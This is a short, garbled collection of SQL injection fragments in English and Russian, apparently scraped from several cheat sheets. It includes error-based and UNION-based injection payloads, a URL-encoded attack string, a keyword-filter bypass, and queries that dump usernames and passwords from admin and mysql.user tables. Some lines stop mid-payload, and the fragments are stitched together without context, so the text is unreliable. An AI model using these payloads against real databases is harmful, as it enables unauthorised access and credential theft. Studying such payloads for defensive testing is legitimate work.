(select 1 from(select count(*), concat(( select( select unhex(hex
If you had SELECT * FROM users and users had 4 columns, the UNION must also have 4 columns. As a result, they just used `NULL values to populate those columns.
...Null,null,null,null,null,null,null,null,null,null,null,null,null,null,concat
SELECT CONCAT_WS(0x3A, user, password) FROM mysql.user WHERE user = 'root'-- (Privileged).
So_buy+and%28SELECT+1+from%28SELECT+count(*),concat((select+%28SELECT+concat%280X7E%2C0X27%2CUNHEX%28HEX%28CAST%28DATABASE
like we see [select] is down let's double text [Replacing keywords] like this SeLselectECT.
select, is obvious. null, is just a place holder that is used because a union statement requires that the number of fields match the 1st query that it’s appending to.
(M): SELECT CONCAT(login, password) FROM members. 7. Строки без кавычек Есть несколько способов не использовать кавычки в запросе, например с помощью CHAR() (MS) и CONCAT() (M). Синтаксис: SELECT 0x457578 (M). В MySQL есть простой способ представления строки в...
-1 UNION SELECT group_concat(username, 0x3a, password) FROM admin.
String Functions ASCII Char Charindex Concat Concat with + Concat_WS